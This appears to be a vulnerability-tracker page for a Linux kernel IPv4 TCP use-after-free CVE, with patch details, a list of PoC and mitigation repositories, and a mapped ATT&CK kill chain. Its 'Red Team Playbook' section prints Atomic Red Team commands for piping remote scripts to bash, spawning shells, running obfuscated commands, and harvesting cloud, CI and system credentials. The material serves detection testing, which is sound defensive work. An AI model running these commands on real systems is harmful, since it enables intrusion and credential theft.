CVE-2026-98432

CRITICAL POC Pub 15/10 Upd 03/11

Overview

This vulnerability is a use-after-free flaw in the Linux kernel's IPv4 TCP request socket handling. It arises because tcp_v4_syn_recv_sock() transfers ownership of ireq->ireq_opt to the child socket without copying, while concurrent CPUs may access freed memory due to improper synchronization and freeing mechanisms. The affected components include TCP IPv4 request socket options and related socket destruction routines that use plain kfree() instead of RCU-safe freeing methods.

Vulnerability Description

In the Linux kernel, the following vulnerability has been resolved: ipv4: free inet_opt and ireq_opt after an RCU grace period tcp_v4_syn_recv_sock() transfers ownership of ireq->ireq_opt to the child socket (newinet->inet_opt) without copying it. Another cpu can concurrently process a retransmitted SYN for the same request socket, and send a SYNACK from tcp_check_req(). tcp_v4_send_synack() and inet_csk_route_req() read ireq->ireq_opt under rcu_read_lock() only, and ip_build_and_send_pkt() and ip_options_build() then read opt->optlen twice. Note that the SYNACK timer itself is not an issue: it holds a reference on its request socket, and inet_csk_reqsk_queue_drop() calls timer_delete_sync() before the child can be freed. Since commit 079096f103fa ("tcp/dccp: install syn_recv requests into ehash table"), request sockets are processed without holding the listener lock, so nothing prevents the child socket from being freed while the SYNACK is still being built. TCP child sockets do not have SOCK_RCU_FREE, and inet_sock_destruct() frees inet_opt with a plain kfree(), leading to a use-after-free in ip_options_build(). A similar issue exists with request socket migration (net.ipv4.tcp_migrate_req=1, or a BPF_SK_REUSEPORT_SELECT_OR_MIGRATE program). reqsk_timer_handler() clones the request socket with inet_reqsk_clone(), so that the old request socket and its clone share the same ireq_opt, then reqsk_migrate_reset() clears the pointer in the old one. Another cpu holding a reference on the old request socket can still be using these options (sending a SYNACK, or creating a child in tcp_v4_syn_recv_sock()) when the clone is freed, and tcp_v4_reqsk_destructor() also uses a plain kfree(). Readers already use RCU, and other paths replacing inet_opt (do_ip_setsockopt(), cipso_v4_sock_setattr()...) already use kfree_rcu(). Use kfree_rcu() in inet_sock_destruct() and tcp_v4_reqsk_destructor() as well. IPv6 is not affected by the first issue, because tcp_v6_syn_recv_sock() duplicates the options. tcp_v6_reqsk_destructor() has the same migration issue with ipv6_opt, which is only set by CALIPSO. This will be addressed in a separate patch.

Impact

An attacker can exploit this vulnerability without authentication or user interaction by sending crafted TCP SYN packets to trigger concurrent request socket processing. This can lead to use-after-free conditions, potentially causing kernel memory corruption, system instability, or denial of service. In some scenarios, it may enable privilege escalation or arbitrary code execution within the kernel context, resulting in full system compromise and disruption of network services.

Solution

Apply the patches referenced in the Linux stable kernel commits b3b027ef0cd322bfa839b9aaf5b27551eea54cf6, 95a8c8fa9f27dce64c40c41c062de7728bf34ab5, and 89b5b1eb7d633c33832b7ff2c02e19a144705036 which implement kfree_rcu() for inet_sock_destruct() and tcp_v4_reqsk_destructor(). Users should upgrade to the latest stable Linux kernel versions containing these fixes. Detailed patch instructions and source code changes are available at the official kernel.org stable branch URLs provided.

EPSS vs KEV Prediction — Evolution (30 days)

Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (66)

Repository	Author	Stars	Forks	Date	Link
tc4dy/CVE-2026-98432-PoC-Exploit CVE-2026-98432 (CVSS 9.8) Linux IPv4 TCP use-after-free full toolkit. Detect kernel exposure, trigger the race, analyze ...	tc4dy	23	7	2026-10-30	View
Alucard0x1/cve-2026-98432 Proof-only PoC for CVE-2026-98432 (Linux IPv4/TCP ireq_opt use-after-free): race trigger, heap-reuse oracle, no code exe...	Alucard0x1	18	4	2026-10-30	View
H1z3-br0/CVE-2026-98432 Race trigger, heap-reuse oracle, pcap analysis, detection and mitigation tooling for CVE-2026-98432 (Linux IPv4/TCP ireq...	H1z3-br0	17	3	2026-10-30	View
xen0bit/netprobe-cve-2026-98432 You should patch, but not worry about CVE-2026-98432	xen0bit	13	3	2026-10-30	View
typhoon1217/cve-2026-98432-mitigation Temporary mitigation for CVE-2026-98432 (Linux IPv4 TCP ireq_opt use-after-free): drop IPv4 TCP with IP options, disable...	typhoon1217	10	1	2026-10-29	View
googlesky/CVE-2026-98432 PoC for CVE-2026-98432 (Linux kernel IPv4 TCP inet_opt/ireq_opt use-after-free, CVSS 9.8): KASAN-verified UAF reproducti...	googlesky	5	3	2026-10-31	View
akamai/cve-2026-98432-validation-mitigation Read-only patch-state and exposure check for CVE-2026-98432 (Linux kernel IPv4 TCP use-after-free, CVSS 9.8), with opt-i...	akamai	6	0	2026-10-30	View
mahdi-salmanzade/CVE-2026-98432 CVE-2026-98432 (Linux IPv4 TCP use-after-free): how to check your server, apply a stopgap, and clean up after the fix	mahdi-salmanzade	4	1	2026-10-30	View
AronWang001/linux-cve-2026-98432-fix Detect CVE-2026-98432 on the running Linux kernel and apply the official fixed kernel only on verified distributions (De...	AronWang001	4	0	2026-10-31	View
bitwire-it/Probe-CVE-2026-98432 Local kernel version checker, remote MPTCP capability probe, and interactive scan-and-probe CLI for assessing exposure t...	bitwire-it	2	1	2026-10-30	View
0xBlackash/CVE-2026-98432 CVE-2026-98432	0xBlackash	1	1	2026-11-02	View
jamilbk/drop-ipv4-opt XDP program to mitigate CVE-2026-98432	jamilbk	2	0	2026-11-01	View
Ghost-Bx1/cve-2026-98432-linux-tcp-uaf	Ghost-Bx1	1	1	2026-11-01	View
nfodor/cve-2026-98432-nft-mitigation Interim nftables mitigation for Linux kernel CVE-2026-98432 (IPv4-options UAF in tcp_v4_syn_recv_sock) as a reproducible...	nfodor	2	0	2026-10-31	View
offline-ant/tcp2kaslr CVE-2026-98432: a plain IPv4 TCP server is vulnerable, MPTCP is not the trigger. Bug trigger, evidence and analysis.	offline-ant	2	0	2026-10-30	View
schnied/cve-2026-98432-mitigation-iptables	schnied	1	0	2026-11-03	View
thiscitze/cve-2026-98432-root-shell CVE-2026-98432 lab root-shell kit (aid kernel; not a stock remote exploit)	thiscitze	1	0	2026-11-02	View
Omniversetr/omnicheck_CVE-2026-98432 Non-destructive checker for CVE-2026-98432 (Linux kernel TCP use-after-free): patch status, exposed listeners and mitiga...	Omniversetr	1	0	2026-11-02	View
ndeet/cve-2026-98432 Stopgap firewall mitigation for CVE-2026-98432 on Ubuntu 16.04/24.04	ndeet	1	0	2026-10-31	View
davetha/cve-2026-98432	davetha	1	0	2026-10-30	View
MikkoAbudo/CVE-2026-98432-POC Toy project	MikkoAbudo	1	0	2026-10-30	View
Quaerendir/cve-2026-98432-audit cve-2026-98432 audit script (ipv4 TCP inet_opt/ireq_opt use-after-free)	Quaerendir	1	0	2026-10-29	View
nsrg-fmlorg/kpatch-cve-2026-98432 kpatch livepatch for CVE-2026-98432 (and CVE-2026-99999) on AlmaLinux and Rocky Linux 8, 9 and 10	nsrg-fmlorg	1	0	2026-10-29	View
axisops/CVE-2026-98432 Linux kernel IPv4 SYN IP-options use-after-free CVE-2026-98432 Mitigation work (Ansible Role)	axisops	1	0	2026-10-29	View
zenjabba/cve-2026-98432-mitigation Temporary nftables mitigation for CVE-2026-98432 (Linux IPv4 TCP IP-options use-after-free)	zenjabba	0	0	2026-11-03	View
hdp1972be-svg/cve_2026_98432_guard Temporary eBPF/XDP mitigation for CVE-2026-98432 Linux TCP IPv4 header-options vulnerability. Helps protect unpatched sy...	hdp1972be-svg	0	0	2026-11-03	View
mrjoshuap/ansible-ezcve Ansible role to audit Linux hosts for CVE-2026-98432 (critical IPv4 TCP use-after-free). Checks running kernel against k...	mrjoshuap	0	0	2026-11-03	View
luxagen/tester-linux-cve-2026-98432 Vulnerability/mitigation tester for Linux-kernel CVE-2026-98432	luxagen	0	0	2026-11-03	View
muhammedemintombak/pardus21-cve-2026-98432 Pardus 21.5 (amd64) için CVE-2026-98432 düzeltmesini Linux 5.10.262 tabanına taşıyan gayriresmî topluluk yaması. Proje, ...	muhammedemintombak	0	0	2026-11-03	View
lowerpower/cve-2026-98432-mitigation Interim mitigation for CVE-2026-98432 (Linux IPv4 TCP handshake use-after-free) on Ubuntu, until a fixed kernel ships	lowerpower	0	0	2026-11-03	View
GarphenGate/cve-2026-98432-defender-toolkit Exposure audits, hunt queries and a validated interim mitigation for CVE-2026-98432, the use-after-free in the Linux IPv...	GarphenGate	0	0	2026-11-02	View
IgrekLg/cve-2026-98432-mitigation cve-2026-98432-mitigation	IgrekLg	0	0	2026-11-02	View
valkenindustries/cve-2026-98432-mitigation Interim mitigation for CVE-2026-98432 on Ubuntu	valkenindustries	0	0	2026-11-02	View
upeul/cve-2026-98432-linux Checklist para proteger Linux (desktop e VPS) da CVE-2026-98432	upeul	0	0	2026-11-02	View
Pr0fEs0r-X/CVE-2026-98432-Checker-v-1.0- El script hace una revisión de tu Linux frente a esa vulnerabilidad, sin tocar nada por defecto: osea mira tu kernel — l...	Pr0fEs0r-X	0	0	2026-11-02	View
akaihigurashi/kernel98scan Is your Linux host exposed to CVE-2026-98432?	akaihigurashi	0	0	2026-11-02	View
knneth/cve-2026-98432-dkms DKMS mitigation for CVE-2026-98432	knneth	0	0	2026-11-02	View
marcelofmatos/cve-2026-98432-check Verifica se um host descarta SYN TCP IPv4 com IP options (mitigação do CVE-2026-98432)	marcelofmatos	0	0	2026-11-02	View
BigBIueWhale/cve-2026-98432-kernel-upgrade Safe kernel upgrade for CVE-2026-98432 on Ubuntu 24.04 with NVIDIA, and an analysis of the bug	BigBIueWhale	0	0	2026-11-02	View
maxottovon/CVE-2026-98432-scan CVE-2026-98432 - LINUX KERNEL IPv4 TCP USE-AFTER-FREE AUDIT CVSS 9.8 (Critical) \| Remote Code Execution & Kernel De...	maxottovon	0	0	2026-11-02	View
matthew-hollick/mitigate-cve-2026-98432 Use puppet to mitigate CVE-2026-98432 until vendor fixes are available.	matthew-hollick	0	0	2026-11-02	View
mc493/kshield Emergency Zero-Downtime Linux Kernel Defense & Attack-Surface Disarmer. Active hotpatching for CVE-2026-98432 (MPTCP RCE...	mc493	0	0	2026-09-26	View
xxhjkl/cve-2026-98432-check	xxhjkl	0	0	2026-11-02	View
johnhsb/linux-tcp-uaf-cve-2026-98432 CVE-2026-98432 (Linux IPv4 TCP inet_opt UAF): read-only diagnostic script, no-reboot nftables/sysctl mitigations, Ansibl...	johnhsb	0	0	2026-11-02	View
0xSpuddy/cve-2026-98432-check A script for cve-2026-98432 vuln	0xSpuddy	0	0	2026-11-02	View
illuscapital/CVE-2026-98432 Mitigates CVE-2026-98432 via firewall rules	illuscapital	0	0	2026-11-02	View
al4n4n/CVE-2026-98432 CVE-2026-98432: Linux Kernel TCP/IPv4 Race Condition Use-After-Free (CVSS 9.8) — PoC, Scanner, Detection Rules	al4n4n	0	0	2026-11-02	View
fetus-hina/cve-2026-98432-mitigation-rpm RPM package that applies an nftables mitigation for CVE-2026-98432 (RHSB-2026-016) on EL 8/9/10	fetus-hina	0	0	2026-11-01	View
Mervent/cve-2026-98432	Mervent	0	0	2026-11-01	View
uvian/xboard-core Xboard 节点后端：基于 Xray-core v26.10.31，单补丁实现设备数/限速，严格对齐 Xboard V2 契约，内置 CVE-2026-98432 缓解	uvian	0	0	2026-11-01	View
antonyantony/cve-2026-98432-nft	antonyantony	0	0	2026-10-31	View
sevaepsteyn/cve-2026-98432-ebpf eBPF (XDP/tc) mitigation for CVE-2026-98432 / RHSB-2026-016 - draft	sevaepsteyn	0	0	2026-10-31	View
soroushneshati/cve-2026-98432-ubuntu-mitigation Check an Ubuntu host for CVE-2026-98432 and, after you confirm, apply the interim Red Hat RHSB-2026-016 mitigation. Ubun...	soroushneshati	0	0	2026-10-31	View
raahilmw/synipopt IPv4 SYN with IP options, one lab target per run, for CVE-2026-98432 research. Header-offset parser, regression tests, a...	raahilmw	0	0	2026-10-31	View
tiendungdev/cve-2026-98432-guard Temporary mitigation for CVE-2026-98432 on AlmaLinux 8/9/10 and Ubuntu. Not a kernel fix.	tiendungdev	0	0	2026-10-31	View
alvaroguzmancode/cve-2026-98432 Detector and local lab for CVE-2026-98432 (IPv4 TCP UAF in inet_opt/ireq_opt): static analysis, kprobes, the tcp2kaslr t...	alvaroguzmancode	0	0	2026-10-31	View
brett6320/fix_CVE-2026-98432 Ansible playbook to mitigate CVE-2026-98432	brett6320	0	0	2026-10-31	View
ZombiePm/cve-2026-98432-mitigation Interim nftables mitigation for CVE-2026-98432, automatic rollback and Russian administrator guide. Not a kernel patch.	ZombiePm	0	0	2026-10-30	View
pob220/ubuntu-noble-tcp-rcu-backport Ubuntu Noble backport and regression evidence for the upstream CVE-2026-98432 IPv4 RCU lifetime repair	pob220	0	0	2026-10-30	View
medandevsec/cve-2026-98432-ubuntu-analisis Analisis dan panduan remediasi CVE-2026-98432 untuk Ubuntu 22.04 LTS	medandevsec	0	0	2026-10-30	View
polikhronidi/cve-2026-98432-ubuntu-backport Source-validated Ubuntu 6.8 backport candidate for Eric Dumazet’s upstream CVE-2026-98432 fix, with provenance and CI. N...	polikhronidi	0	0	2026-10-30	View
scriptzteam/Paranoid-CVE-2026-98432 Drop incoming IPv4 TCP packets whose IP header contains options.	scriptzteam	0	0	2026-10-30	View
fbuff-tools/cve-2026-98432-checker Check a Linux server for CVE-2026-98432 (IPv4 TCP use-after-free, CVSS 9.8): root cause explained, read-only check scrip...	fbuff-tools	0	0	2026-10-30	View
maxigentr/netviser-linux-security-auditor Read-only, agentless Linux kernel security configuration auditor (local & SSH). Initial focus: TCP migration / MPTCP che...	maxigentr	0	0	2026-10-30	View
techtaek77/ubuntu-tcp-guide 우분투 커널 TCP 구멍(CVE-2026-98432) 쉽게 보기 · 벨로키 보안 공부	techtaek77	0	0	2026-10-29	View
suominen/CVE-2026-98432	suominen	0	0	2026-10-29	View

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope

Initial Access

TA0001

Execution

TA0002

Persistence

TA0003

Priv. Escalation

TA0004

Defense Evasion

TA0005

Credential Access

TA0006

Lateral Movement

TA0008

Collection

TA0009

Impact

TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Use After Free

100% use_after_free

Race Condition

77% race_condition

Remote Code Execution

50% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID	Name	Stage	Tactics	Platforms
T1190	Exploit Public-Facing Application	Initial Access	initial-access	Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.004	Unix Shell	Kill Chain	execution	ESXi, Linux, macOS, Network Devices
T1505.003	Web Shell	Kill Chain	persistence	Linux, macOS, Network Devices, Windows
T1552.001	Credentials In Files	Kill Chain	credential-access	Containers, IaaS, Linux, macOS, Windows
T1049	System Network Connections Discovery	Kill Chain	discovery	Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004	SSH	Kill Chain	lateral-movement	ESXi, Linux, macOS

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged

An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.

Command (PowerShell)

Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false

T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD

An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)

Command (CMD)

echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"

T1049 System Discovery using SharpView Windows PowerShell Privileged

Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.

Command (PowerShell)

$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}

T1049 System Network Connections Discovery Windows CMD

Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.

Command (CMD)

netstat -ano
net use
net sessions 2>nul

T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell

Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.

Command (Shell)

netstat
who -a

T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell

Enumerate TCP connections and map to owning process names via PowerShell.

Command (PowerShell)

Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize

T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell

Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.

Command (Shell)

sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true

T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash

List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.

Command (Bash)

if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi

T1049 System Network Connections Discovery with PowerShell Windows PowerShell

Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.

Command (PowerShell)

Get-NetTCPConnection

T1059.004 Change login shell Linux Bash Privileged

An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.

Command (Bash)

[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art

T1059.004 Command line scripts Linux Shell

An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!

Command (Shell)

for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done

T1059.004 Command-Line Interface Linux, macOS Shell

Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.

Command (Shell)

curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash

T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell

Creates and executes a simple sh script.

Command (Shell)

sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}

T1059.004 Creating shell using cpan command Linux, macOS Shell

cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/

Command (Shell)

echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan

T1059.004 Current kernel information enumeration Linux Shell

An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.

Command (Shell)

uname -srm

T1059.004 Detecting pipe-to-shell Linux Shell

An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...

Command (Shell)

cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt

T1059.004 Environment variable scripts Linux Shell

An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash

Command (Shell)

export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh

T1059.004 Harvest SUID executable files Linux Shell

AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.

Command (Shell)

chmod +x #{autosuid}
bash #{autosuid}

T1059.004 LinEnum tool execution Linux Shell

LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.

Command (Shell)

chmod +x #{linenum}
bash #{linenum}

T1059.004 New script file in the tmp directory Linux Shell

An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...

Command (Shell)

TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE

T1059.004 Obfuscated command line scripts Linux Shell

An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...

Command (Shell)

[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART

T1059.004 Shell Creation using awk command Linux, macOS Shell

In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell

Command (Shell)

awk 'BEGIN {system("/bin/sh &")}'

T1059.004 Shell Creation using busybox command Linux Shell

BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...

Command (Shell)

busybox sh &

T1059.004 What shell is running Linux Shell

An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.

Command (Shell)

echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi

T1059.004 What shells are available Linux Shell

An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.

Command (Shell)

cat /etc/shells

T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged

emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/

Command (Shell)

sudo emacs -Q -nw --eval '(term "/bin/sh &")'

T1505.003 Web Shell Written to Disk Windows CMD

This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx

Command (CMD)

xcopy /I /Y "#{web_shells}" #{web_shell_path}

T1552.001 Access Drone CI Config File Linux, macOS Shell

Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access Gitlab CI Config File Linux, macOS Shell

Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access Jenkinsfile Linux, macOS Shell

Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access Travis CI Config File Linux, macOS Shell

Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access unattend.xml Windows CMD Privileged

Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.

Command (CMD)

type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml

T1552.001 Dump GitHub Actions Runner Environment Variables from procfs Linux Bash

Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh) and reads their environment variables from /proc/<pid>/environ, filtering for keys containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests credentials and secrets...

Command (Bash)

for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done

T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged

[LaZagne Source](https://github.com/AlessandroZ/LaZagne)

Command (Bash)

python2 laZagne.py all

T1552.001 Extract passwords with grep Linux, macOS Shell

Extracting credentials from files

Command (Shell)

grep -ri password #{file_path}
exit 0

T1552.001 Extracting passwords with findstr Windows PowerShell

Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.

Command (PowerShell)

findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password

T1552.001 Find .env Files Containing Application Credentials Linux, macOS Shell

Searches common web application and service directories for .env files (.env, .env.local, .env.production, .env.development, .env.staging) that may contain credentials such as API keys, database passwords, and service secrets. Adversaries targeting web servers or...

Command (Shell)

find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null

T1552.001 Find AWS credentials Linux, macOS Shell

Find local AWS credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null

T1552.001 Find Azure credentials Linux, macOS Shell

Find local Azure credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find Docker credentials Linux, macOS Shell

Find local Docker credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find GCP credentials Linux, macOS Shell

Find local Google Cloud Platform credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find HashiCorp Vault token files Linux, macOS Shell

Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find Kubernetes cluster configuration files Linux Shell Privileged

Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...

Command (Shell)

find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null

T1552.001 Find Kubernetes user configuration files Linux, macOS Shell

Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.

Command (Shell)

find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null

T1552.001 Find OCI credentials Linux, macOS Shell

Find local Oracle cloud credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null

T1552.001 Find Terraform credential files Linux, macOS Shell

Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.

Command (Shell)

for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done

T1552.001 Find and Access Github Credentials Linux, macOS Shell

Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find database credential files Linux, macOS Shell

Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.

Command (Shell)

for filename in #{filenames}; do
  find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done

T1552.001 Find npm registry credential files Linux, macOS Shell

Find .npmrc files, which may contain plaintext npm registry authentication tokens.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find system database configuration files Linux Shell Privileged

Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.

Command (Shell)

find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null

T1552.001 List Credential Files via Command Prompt Windows CMD Privileged

Via Command Prompt,list files where credentials are stored in Windows Credential Manager

Command (CMD)

dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\

T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged

Via PowerShell,list files where credentials are stored in Windows Credential Manager

Command (PowerShell)

$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\

